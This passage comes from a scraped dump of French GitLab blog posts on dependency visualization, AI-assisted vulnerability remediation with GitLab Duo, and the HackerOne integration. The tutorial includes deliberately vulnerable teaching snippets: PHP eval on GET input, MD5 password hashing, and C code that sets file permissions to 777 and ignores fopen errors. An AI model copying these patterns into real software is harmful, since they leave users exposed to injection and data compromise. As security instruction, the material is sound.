logiciels open source. Or, cette dépendance n'est pas sans risque : certains composants peuvent être obsolètes, souffrir d'un manque de maintenance ou exposer des vulnérabilités à l'insu des développeurs. C'est pourquoi l'analyse de la composition logicielle (SCA) s'impose comme la pierre angulaire des programmes de sécurité des applications modernes.\n\nLa gestion efficace du *risque de dépendance transitive* représente un défi de taille pour les équipes chargées de détecter les vulnérabilités. Ces composants, souvent cachés au plus profond de la chaîne de dépendances, compliquent l'identification de l'origine d'une vulnérabilité ou du composant à mettre à jour pour y remédier. Pire encore, ils sont responsables de près de [deux tiers](https://arxiv.org/abs/2503.22134?) des vulnérabilités open source connues. Faute de visibilité complète sur les chemins de dépendances, les équipes doivent se contenter d'hypothèses, ce qui retarde l'application de mesures correctives et accroît les risques.\n\n> Les dépendances transitives, c'est-à-dire les paquets que votre application utilise indirectement, sont automatiquement intégrées par les dépendances directes que vous incluez explicitement. Ces dépendances imbriquées peuvent introduire des vulnérabilités sans que le développeur n'en ait conscience.\n\nCe défi prend une tout autre dimension à grande échelle. Lorsqu'une équipe de sécurité doit superviser des centaines, voire des milliers, de dépôts, chacun avec ses propres dépendances, pipelines de compilation et propriétaires, il devient extrêmement difficile de répondre aux questions fondamentales sur la posture de sécurité applicative. Dans un contexte où les menaces qui pèsent sur la chaîne d'approvisionnement logicielle se multiplient, et où les vulnérabilités peuvent se propager à travers les systèmes par le biais de bibliothèques partagées et de configurations CI/CD, ce manque de visibilité a des conséquences encore plus importantes.\n\n## Inventaire de sécurité : une visibilité évolutive\n\nL'inventaire de sécurité regroupe les informations sur les risques de l'ensemble de vos groupes et projets dans une vue unifiée. Il met en évidence les ressources couvertes par des scans de sécurité, ainsi que celles qui y échappent. Plutôt que de traiter les vulnérabilités de manière isolée, les équipes de sécurité peuvent évaluer la posture de manière globale et identifier les domaines sur lesquels concentrer leurs efforts.\n\nCe niveau de centralisation s'avère particulièrement important pour les entreprises qui gèrent un grand nombre de dépôts. Il permet aux équipes chargées de la plateforme et de la sécurité applicative de localiser précisément les risques en révélant les projets non analysés ou insuffisamment protégés, tout en ouvrant la voie à des actions directes depuis l'interface. Grâce à un contexte complet, les équipes identifient rapidement les applications les plus exposées pour les traiter efficacement. En consolidant des données jusque-là dispersées en une source unique de vérité, l'inventaire de sécurité transforme la gestion des vulnérabilités d'une posture réactive à une gouvernance stratégique guidée par les données.\n![Affichage de l'inventaire de sécurité](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101068/qhujktnbkhl2rzgqfead.png)\n\n## Visualisation des chemins de dépendances : la visibilité pour une remédiation efficace\n\nL'inventaire de sécurité offre une vision globale des risques ; la visualisation des chemins de dépendances montre comment y remédier.\n\nLorsqu'une vulnérabilité est située au plus profond d'une chaîne de dépendances, déterminer la bonne approche pour la corriger devient un véritable casse-tête. La plupart des outils de sécurité mettent en évidence le paquet vulnérable, mais sans indiquer par quel biais il s'est introduit dans le code source. Les équipes de développement se retrouvent à tâtonner entre dépendances directes et transitives, ce qui complique l'analyse et risque d'aboutir à des correctifs inadaptés.\n\nLa nouvelle visualisation des chemins de dépendances intégrée à la version 18.2.0 de GitLab, parfois appelée graphique de dépendances, dévoile à l'issue d'un scan SCA le parcours complet depuis un paquet principal jusqu'au composant vulnérable. Cette visibilité est essentielle, en particulier compte tenu de l'omniprésence des vulnérabilités profondément ancrées dans les chaînes de dépendances. Directement intégrée aux workflows GitLab, cette fonctionnalité fournit aux équipes de développement des informations précises et immédiatement exploitables, sans que ces dernières doivent quitter leur environnement de travail ni émettre des hypothèses. Les équipes de sécurité peuvent hiérarchiser plus efficacement les problèmes, tandis que les développeurs ont l'assurance que les remédiations ciblent enfin les causes profondes.\n![Aperçu de la visualisation des chemins de dépendances](https://res.cloudinary.com/about-gitlab-com/image/upload/v1753101069/kf5ym62gylm5ck6iebjk.png)\n\n## La sécurité intégrée au développement : des risques maîtrisés en amont\n\nCes fonctionnalités s'inscrivent dans la stratégie globale de GitLab qui vise à intégrer la sécurité au sein même de la plateforme où le code est planifié, compilé et déployé. En intégrant les informations de sécurité au cœur du workflow DevSecOps, GitLab réduit les points de friction et renforce la collaboration entre les équipes de développement et de sécurité.\n\nL'inventaire de sécurité et la visualisation des chemins de dépendances offrent des perspectives complémentaires : le premier permet une surveillance évolutive, la seconde facilite des mesures de correction ciblées. Ces deux fonctionnalités combinées aident les équipes à concentrer leurs efforts sur les priorités réelles et à combler les lacunes lors de l'analyse des risques, sans complexifier l'environnement avec des outils ou intégrations supplémentaires.\n\n> Prenez en main l'inventaire de sécurité et la visualisation des chemins de dépendances dès aujourd'hui ! Inscrivez-vous à un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/).\n\n## En savoir plus\n\n* [Sortie de GitLab 18.2.0](https://about.gitlab.com/releases/2025/07/17/gitlab-18-2-released/)\n* [Solutions de sécurité GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n* [Guide pratique sur les vecteurs de menaces dans la chaîne d'approvisionnement logicielle](https://about.gitlab.com/the-source/security/field-guide-to-threat-vectors-in-the-software-supply-chain/)",{"featured":6,"template":689,"slug":710},"bridging-the-visibility-gap-in-software-supply-chain-security","content:fr-fr:blog:bridging-the-visibility-gap-in-software-supply-chain-security.yml","Bridging The Visibility Gap In Software Supply Chain Security","fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security.yml","fr-fr/blog/bridging-the-visibility-gap-in-software-supply-chain-security",{"_path":716,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":717,"content":723,"config":733,"_id":735,"_type":13,"title":736,"_source":15,"_file":737,"_stem":738,"_extension":18},"/fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"title":718,"description":719,"ogTitle":718,"ogDescription":719,"noIndex":6,"ogImage":720,"ogUrl":721,"ogSiteName":673,"ogType":674,"canonicalUrls":721,"schema":722},"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA ","Ce tutoriel montre comment l'explication et la résolution des vulnérabilités de GitLab Duo, vous aident à résoudre rapidement les vulnérabilités.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098106/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098106040.png","https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"},{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2024-07-15\",\n      }\n                  ",{"title":718,"description":719,"authors":724,"heroImage":720,"date":727,"body":728,"category":729,"tags":730,"updatedDate":732},[725,726],"Michael Friedrich","Alana Bellucci","2024-07-15","Imaginez que dès votre premier jour dans votre nouveau poste, un incident de production majeur mobilise l'intervention de chaque membre de votre équipe. De nombreuses vulnérabilités critiques apparaissent, nécessitant une attention, une analyse, une atténuation et une correction immédiates. Mais par où commencer votre enquête ? \n\nDécouvrez comment l'explication et la résolution des vulnérabilités de GitLab Duo, ainsi que nos autres fonctionnalités alimentées par l'IA, peuvent vous aider à résoudre les vulnérabilités en quelques minutes. L'exemple pratique ci-dessous illustre comment bénéficier de l'assistance alimentée par l'IA de GitLab Duo pour analyser et expliquer les vulnérabilités. Des mesures correctives supplémentaires, accompagnées de corrections de code générées par l'IA dans les merge requests, sont également mises en évidence afin d'accélérer la résolution des vulnérabilités.\n\n> Démarrez [un essai gratuit de GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial) pour profiter des avantages de la correction des vulnérabilités au sein de vos équipes.\n\n## Première étape : l'analyse\n\nLa première étape consiste à évaluer l'impact et la gravité de la vulnérabilité. Ouvrez l'interface utilisateur de GitLab et accédez au [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) accessible via le menu `Sécurisation > Rapport de vulnérabilités`. Appliquez le filtre `SAST` pour identifier les vulnérabilités les plus critiques à traiter.\n\n![Aperçu des rapports de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/vulnerability_reports_overview_aHR0cHM6_1750098116056.png)\n\nLes résultats du scanner SAST sont présentés sous forme d'un résumé dans la vue détaillée, avec un lien vers le code source. Ils incluent des informations provenant d'avis de sécurité accessibles au public. Les équipes de développement rencontrent souvent des difficultés pour lancer l'analyse directement à partir du rapport de sécurité, surtout si elles ne sont pas pleinement informées de la portée de l'attaque, des détails techniques et des environnements affectés.\n\n## Comprendre et atténuer les risques avec l'explication des vulnérabilités\n\nIl est essentiel de bien comprendre la vulnérabilité et de déterminer la manière la plus appropriée et la plus efficace de la corriger. Les corrections apportées ne doivent pas compromettre les fonctionnalités existantes. Si c'est le cas, il est important d'échanger avec les chargés de maintenance et les Product Owners, et de fournir un résumé détaillé des vulnérabilités ainsi que des mesures d'atténuation possibles. Lorsque vous devez traiter du code écrit par un ancien employé qui a quitté l'entreprise ou du code qui n'a pas été testé, cela peut compliquer considérablement la planification des corrections.  \n\nL'explication des vulnérabilités alimentée par l'IA permet de résumer la manière dont un attaquant peut exploiter la vulnérabilité et apporte des informations supplémentaires sur son impact et les mesures correctives possibles.\n\nPar exemple, une vulnérabilité d'injection de commandes dans le système d'exploitation, comme illustrée dans l'extrait de code suivant :\n\n```php\n\u003C?php \n\n// Read variable name from GET request\n$name = $_GET['name'];\n\n// Use the variable name to call eval and print its value \neval('echo $' . $name . ';');\n```\n\nLe rapport de vulnérabilité n'est pas assez détaillé et nécessite une compréhension complète du contexte et de l'impact. Sélectionnez le bouton `Expliquer la vulnérabilité` dans le coin supérieur droit. GitLab Duo Chat s'ouvre et suggère une action prédéfinie de prompt. Cette fonctionnalité vous fournit des informations supplémentaires sur la vulnérabilité, car elle décrit comment celle-ci peut être exploitée et corrigée. \n\n![Neutralisation incorrecte des\néléments spéciaux utilisés dans une commande de système d'exploitation\n('OS Command Injection') ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098116057.png)\n\n### Faire de l’explication des vulnérabilités une conversation contextuelle\n\nVous remarquerez également un changement au niveau de l'interface utilisateur : le volet d'explication des vulnérabilités a été remplacé par un workflow GitLab Duo Chat. Parfois, une vulnérabilité complexe nécessite d'être décomposée en plusieurs étapes d'atténuation ou passe par des chemins de code source peu clairs.\n\nVous pouvez explorer l'arborescence du code source et utiliser le même contexte de Chat pour expliquer, corriger, réusiner et tester le code.\n\nVoyons comment fonctionne le workflow complet à l'aide d'un exemple en langage C, dans lequel le scanning de sécurité a détecté un débordement de tampon.\n\n1. Ouvrez la vue détaillée de la faille de sécurité et sélectionnez le bouton `Expliquer la vulnérabilité` en haut à droite. Le prompt de GitLab Duo Chat s'ouvre, fournit un résumé du problème et des vecteurs d'attaque potentiels, puis propose une solution.\n\n![Utilisation de l'IA pour les vulnérabilités - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098116059.png)\n\n2. Passez en revue la correction proposée et demandez à GitLab Duo Chat de vous indiquer d'autres solutions, en utilisant le prompt `Pouvez-vous proposer une solution alternative en utilisant une fonction différente ?`. L'idée est d'en apprendre davantage sur les fonctions alternatives à `strcpy()` dont l'utilisation pourrait être plus sûre.\n\n![Utilisation de l'IA pour les vulnérabilités - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098116060.png)\n\n3. GitLab Duo Chat propose une solution alternative qui utilise `strlcpy()`, illustrée dans l'exemple suivant. Cette fonction ne copie que le nombre de caractères autorisé dans la chaîne cible et termine toujours la chaîne par « null ». Elle renvoie également la longueur de la chaîne source pour déterminer si celle-ci a été tronquée.\n\n![Utilisation de l'IA pour les vulnérabilités - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098116062.png)\n\n4. Cliquez ensuite sur l'URL du fichier `Emplacement` pour accéder à la vue du code source. Ouvrez à nouveau GitLab Duo Chat et vérifiez que le contexte d'explication de la vulnérabilité précédente est toujours présent. L'étape suivante consiste à ajouter des tests avant d'appliquer la correction proposée. Cette approche permet d'éviter de perturber des fonctionnalités ou d'introduire des régressions. Par exemple, utilisez le prompt suivant : `En fonction du contexte de la vulnérabilité et du code source ouvert, comment ajouteriez-vous des tests pour cette vulnérabilité ?`.\n\n![Utilisation de l'IA pour les vulnérabilités - image 7 ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098116063.png)\n\n5. Après avoir généré les tests (et en supposant qu'ils ont maintenant été ajoutés), vous pouvez également demander à GitLab Duo Chat de réusiner le code source, en utilisant le prompt `Pouvez-vous également réusiner le code source ?` dans la même session.\n\n![Utilisation de l'IA pour les vulnérabilités - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098116063.png)\n\nLe workflow montre comment analyser, comprendre, atténuer, obtenir des approches alternatives, ajouter des tests et même réusiner les corrections de vulnérabilités. \n\nVous pouvez reprendre cette mesure corrective à l'aide de GitLab Duo Chat, puis basculer dans le Web IDE pour modifier le code source après avoir appris comment faire. Parmi les autres workflows continus, citons la validation des modifications et le déclenchement des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), ainsi que les scans de sécurité réalisés tout au long du cycle de développement DevSecOps. \n\n## Corriger les failles de sécurité avec la résolution des vulnérabilités assistées par l'IA\n\nPour comprendre et corriger une faille de sécurité, des compétences en développement sont toujours nécessaires pour créer un correctif, exécuter des pipelines et effectuer des scans de sécurité dans une merge request. Il peut également être nécessaire de déployer les corrections dans un environnement de staging et de les tester sur une période plus longue.\n\nL'IA peut être utile dans cette situation, en proposant une correction en fonction du contexte et du code source fournis.\n\nAstuce : pensez à la vulnérabilité la plus frustrante que vous avez dû corriger au cours de votre carrière et recréez-la pour vous familiariser avec GitLab Duo. La [liste CWE de Mitre qui recense les 25 faiblesses logicielles les plus dangereuses](https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html) peut être également un bon point de départ.  \n\nL'exemple suivant implémente la faille [CWE-328 : Utilisation d'une fonction de hachage faible](https://cwe.mitre.org/data/definitions/328.html) en utilisant `md5`. La faille est correctement identifiée par [le test SAST](https://docs.gitlab.com/ee/user/application_security/sast/).  \n\n```python\nimport hashlib\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\n    def set_password(self, password):\n        self.password = hashlib.md5(password.encode()).hexdigest()\n```\n\n![Utilisation de l'IA pour les vulnérabilités - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098116064.png)\n\nCliquez sur le bouton en haut à droite `Résoudre avec une merge request`. Une merge request s'ouvre, dans laquelle une correction générée par l'IA est proposée. Dans le cas de cette vulnérabilité, une correction possible consisterait à utiliser une fonction de hachage différente.\n\n![Utilisation de l'IA pour les vulnérabilités - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098116065.png)\n\nLe fait de ne pas vérifier les codes d'erreur des fonctions ou les exceptions potentielles est un autre exemple de vulnérabilité courante. Les extraits de code en langage C suivants illustrent un exemple d'attaques par temporisation contre les opérations de fichiers en lien avec la faille [CWE-362](https://cwe.mitre.org/data/definitions/362.html) pour les appels `fopen()` et `chmod()`. \n\n```c\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Csys/mman.h>\n#include \u003Csys/stat.h>\n#include \u003Cunistd.h>\n\nint main(int argc, char **argv) {##$_0A$####$_0A$##    // File operations##$_0A$##    char *fname = \"gitlab.keksi\";##$_0A$####$_0A$##    FILE *fp;##$_0A$##    fp = fopen(fname, \"r\");##$_0A$##    fprintf(fp, \"Hello from GitLab Duo Vulnerability Resolution Challenge\");##$_0A$##    fclose(fp);##$_0A$####$_0A$##    // Potential chmod() timing attacks    ##$_0A$####$_0A$##    // Make the file world readable##$_0A$##    chmod(fname, S_IRWXU|S_IRWXG|S_IRWXO);##$_0A$####$_0A$##    return 0;##$_0A$##}\n```\n\nLe rapport SAST pour l'appel `chmod()` ressemblerait à ceci : \n\n![Utilisation de l'IA pour les vulnérabilités - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098116065.png)\n\nLa merge request `chmod()` proposée inclut la gestion des erreurs et corrige un autre problème potentiel affectant les fichiers accessibles en écriture dans le monde entier, en modifiant les autorisations de `777` à `600`.\n\n![Utilisation de l'IA pour les vulnérabilités - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098116066.png)\n\n> Essayez l'exercice asynchrone suivant : recherchez, analysez et corrigez la vulnérabilité de la fonction `fopen()`.\n\n## Nécessité d'une prise en charge accrue de l'IA par GitLab Duo \n\nSouvent, un problème de sécurité peut être temporairement résolu par une correction rapide ou une solution de contournement qui donne aux équipes de développement le temps nécessaire pour élaborer une solution plus durable. Dans d'autres situations, le problème peut devenir plus complexe et nécessiter la désactivation des API de fonctionnalités ou l'atténuation des règles du pare-feu jusqu'à ce qu'un correctif approprié puisse être déployé en production.\n\nGitLab Duo offre des fonctionnalités avancées alimentées par l'IA capables de résoudre ces problèmes. \n\n**Explication du code :** en tant que développeur ou ingénieur en sécurité, il est essentiel de comprendre les modifications apportées au code. Dans l'IDE, utilisez la [fonctionnalité d'explication du code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) pour avoir une meilleure compréhension du correctif proposé par l'IA pour résoudre la vulnérabilité. Vous saurez exactement quels ajustements ont été réalisés et leurs justifications.\n\n**Analyse des causes profondes :** si un correctif fait échouer votre pipeline, utilisez la [fonctionnalité d'analyse des causes profondes](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/). Cet outil identifie et explique le problème sous-jacent, ce qui vous donne les moyens de le résoudre efficacement. Après avoir appliqué les corrections nécessaires, vous pouvez relancer les tests pour vous assurer que le problème est résolu.\n\n**Réusinage :** même après la correction d'une vulnérabilité, il est pertinent de se demander si le code peut être amélioré pour être plus sécurisé. Dans l'IDE, ouvrez GitLab Duo Chat et utilisez l'[action de réusinage](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) pour explorer d'autres moyens plus sûrs d'écrire votre code. Cette approche proactive permet de maintenir un code base robuste et sécurisé.\n\nEn tirant parti de ces fonctionnalités offertes par GitLab Duo, vous pouvez aborder et résoudre les failles de sécurité en toute confiance, en veillant à la sécurité et l'efficacité de votre code.\n\n## Et après ?\n\nNous prévoyons d'intégrer directement l'explication et la résolution des vulnérabilités en amont du cycle du développement logiciel, dans le processus de merge request. Cette intégration vous permettra de traiter et de résoudre les vulnérabilités plus tôt dans le cycle de développement, d'optimiser votre workflow et d'améliorer la sécurité du code dès le début du projet.\n\n## Lancez-vous dès maintenant avec GitLab Duo\n\nConsultez notre [documentation](https://docs.gitlab.com/ee/user/gitlab_duo/turn_on_off.html) pour activer les fonctionnalités offertes par GitLab Duo. De plus, l'[explication des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#explaining-a-vulnerability) et la [résolution des vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution) de GitLab Duo seront bientôt disponibles dans GitLab Auto-géré et GitLab Dedicated.\n\n> Démarrez [un essai gratuit de GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) pour profiter des avantages de la correction des vulnérabilités au sein de votre entreprise !\n\n#### En savoir plus sur le « Développement de GitLab Duo »\n- [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Comment nous utilisons nos propres fonctionnalités d'IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n\n- [L'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n\n- [Tour d'horizon des dernières améliorations de GitLab Duo Chat](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-a-roundup-of-recent-chat-enhancements/)","ai-ml",[685,9,703,702,731],"tutorial","2024-08-02",{"slug":734,"featured":90,"template":689},"developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","content:fr-fr:blog:developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","Developing Gitlab Duo Use Ai To Remediate Security Vulnerabilities","fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities.yml","fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"_path":740,"_dir":246,"_draft":6,"_partial":6,"_locale":7,"seo":741,"content":747,"config":756,"_id":758,"_type":13,"title":759,"_source":15,"_file":760,"_stem":761,"_extension":18},"/fr-fr/blog/enhance-application-security-with-gitlab-hackerone",{"title":742,"description":743,"ogTitle":742,"ogDescription":743,"noIndex":6,"ogImage":744,"ogUrl":745,"ogSiteName":673,"ogType":674,"canonicalUrls":745,"schema":746},"GitLab + HackerOne : pour une sécurité applicative renforcée","Découvrez le partenariat entre GitLab et HackerOne et comment cette intégration peut vous aider à renforcer la sécurité de vos applications.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097503/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_5ET24Q6i8ihqrAOkge7a1R_1750097503214.png","https://about.gitlab.com/blog/enhance-application-security-with-gitlab-hackerone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab + HackerOne : pour une sécurité applicative renforcée\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-04-03\",\n      }",{"title":742,"description":743,"authors":748,"heroImage":744,"date":750,"body":751,"category":9,"tags":752,"updatedDate":755},[749],"Fernando Diaz","2025-04-03","La sécurité doit désormais être intégrée dès le début du processus de développement. Les entreprises ont besoin de solutions robustes qui intègrent la sécurité à chaque étape du cycle de développement logiciel. Le partenariat entre HackerOne et GitLab offre une combinaison gagnante pour les équipes de développement d'applications modernes.\n\nGitLab, la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que l'approche DevSecOps ? \") complète et alimentée par l'IA, s'associe à HackerOne, leader de la sécurité collaborative, pour combiner le meilleur des deux univers : les workflows DevSecOps rationalisés de GitLab et les puissantes capacités de gestion des vulnérabilités de HackerOne.\n\nDécouvrez dans ce tutoriel comment améliorer la productivité de vos équipes de développement et renforcer votre posture de sécurité grâce à l'intégration de GitLab à HackerOne.\n\n## Une intégration pensée pour les développeurs\n\nL'intégration de GitLab à la plateforme de cybersécurité HackerOne est aussi simple à mettre en œuvre que puissante. Lorsqu'un chercheur en cybersécurité détecte une vulnérabilité via la plateforme HackerOne, celle-ci est automatiquement convertie en un ticket GitLab. \n\nCe workflow permet de :\n\n* détecter les vulnérabilités sur la plateforme HackerOne\n* créer automatiquement des tickets GitLab à partir des vulnérabilités validées\n* permettre aux équipes de développement de traiter ces tickets directement dans leur workflow existant\n* synchroniser le statut de résolution de ces vulnérabilités entre les deux plateformes\n\nVous pouvez tirer parti de cette [intégration](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) en liant les tickets GitLab aux rapports HackerOne comme références. Cette synchronisation bidirectionnelle et fluide des données entre vos rapports HackerOne et les tickets GitLab améliore ainsi la coordination entre les équipes de développement et de sécurité tout en rationalisant le traitement des failles de sécurité.\n\nPour configurer cette intégration, référez-vous aux instructions détaillées de la [documentation HackerOne dédiée à l'intégration GitLab](https://docs.hackerone.com/en/articles/10394699-gitlab-setup), dont voici les principales étapes :\n\n1. [Créez une application OAuth 2.0](https://docs.gitlab.com/ee/integration/oauth_provider.html) pour votre instance GitLab à l'aide des paramètres fournis par HackerOne\n2. Connectez la plateforme HackerOne à votre instance GitLab en utilisant cette application OAuth 2.0\n3. Autorisez HackerOne à accéder à l'API GitLab\n4. Configurez le projet GitLab vers lequel vous souhaitez transférer les rapports HackerOne \n5. Sélectionnez les champs HackerOne à mapper aux champs GitLab correspondants\n6. Définissez les événements à synchroniser, de GitLab vers HackerOne et de HackerOne vers GitLab\n\nUne fois l'intégration mise en place, la synchronisation bidirectionnelle des données entre GitLab et HackerOne devient fluide, réduisant les changements de contexte et facilitant le suivi des vulnérabilités sur les deux systèmes. \n\nLes principales fonctionnalités de cette intégration sont les suivantes :\n\n* **Création de tickets GitLab depuis HackerOne** : créez de nouveaux tickets GitLab à partir des rapports que vous recevez dans HackerOne.\n* **Connexion des rapports HackerOne aux tâches GitLab existantes.**   \n* **Synchronisation des mises à jour apportées aux rapports HackerOne vers GitLab** : les informations suivantes sont envoyées sous forme de commentaires dans le ticket GitLab correspondant.\n  * Commentaires du rapport  \n  * Changements d'état  \n  * Récompenses  \n  * Changements d'assignation  \n  * Divulgation publique  \n  * Fermeture du ticket GitLab  \n* **Synchronisation des mises à jour de GitLab vers HackerOne** : lorsque certaines actions sont effectuées dans un ticket GitLab, ces mises à jour sont reprises automatiquement dans le rapport correspondant sur HackerOne, sous forme de commentaire interne :\n  * Commentaires  \n  * Changements d'état  \n* **Mappage des niveaux de gravité HackerOne avec les labels GitLab** : définissez une priorité personnalisée lorsque vous transférez un rapport HackerOne vers GitLab.  \n* **Mappage des dates d'échéance** : définissez automatiquement une date d'échéance personnalisée dans GitLab en fonction du niveau de gravité du rapport HackerOne.\n\n![GitLab + HackerOne : Ajouter des commentaires ou modifier l'état du rapport dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/sync_aHR0cHM6_1750097509644.png)\n\nCes fonctionnalités renforcent la coordination entre les équipes de développement et de sécurité et rationalisent le traitement des failles de sécurité. Pour en savoir plus sur le fonctionnement de l'intégration, consultez la [documentation](https://docs.hackerone.com/en/articles/8571227-gitlab-integration) fournie par HackerOne.\n\n## Aperçu des programmes de bug bounty de HackerOne\n\nHackerOne propose des programmes de bug bounty, c'est-à-dire des initiatives en matière de cybersécurité qui récompensent la découverte et le signalement de vulnérabilités dans les systèmes logiciels, les sites web ou les applications de ses clients. Ces programmes contribuent à renforcer la sécurité des applications en :\n\n* identifiant les failles de sécurité avant que des acteurs malveillants ne puissent les exploiter\n* tirant parti de l'expertise diversifiée d'une communauté mondiale de chercheurs en cybersécurité\n* offrant un moyen rentable d'améliorer la cybersécurité\n* complétant les efforts de sécurité internes et les tests de pénétration traditionnels\n\nGitLab s'appuie sur le programme de bug bounty de HackerOne pour permettre aux chercheurs en cybersécurité de signaler les vulnérabilités présentes dans ses applications ou son infrastructure. Cette approche collaborative aide GitLab à identifier et à résoudre plus efficacement les potentielles failles de sécurité.\n\n![Page du programme de bug bounty de GitLab de HackerOne](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nEn tirant parti de la plateforme HackerOne et de la communauté mondiale de hackers éthiques, les entreprises peuvent considérablement renforcer leur posture de sécurité, identifier plus rapidement les vulnérabilités et garder une longueur d'avance sur les menaces potentielles.\n\n## Sécurisez vos applications et améliorez votre productivité avec GitLab\n\nGitLab offre une plateforme DevSecOps complète, qui intègre des fonctionnalités couvrant l'ensemble du cycle de développement logiciel, y compris des outils de [sécurité et de conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et conformité GitLab\"). GitLab prend en charge les types de scanners de sécurité suivants :\n- Tests statiques de sécurité des applications (SAST)\n- Tests dynamiques de sécurité des applications (DAST)\n- Analyse des conteneurs\n- Analyse des dépendances\n- Analyse de l'Infrastructure as Code (IaC)\n- Fuzzing guidé par la couverture de code\n- Test de l’API web par injection de données aléatoires\n\nAvec GitLab, vous pouvez simplement appliquer un template à votre fichier de définition de [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\") pour activer un scanning de sécurité. Par exemple, l'activation de SAST ne nécessite que quelques lignes de code dans le fichier `.gitlab-ci.yml` :\n\n```yaml\nstage:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nCela exécutera SAST à l'étape de test et [détectera automatiquement les langages utilisés](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) dans votre application. 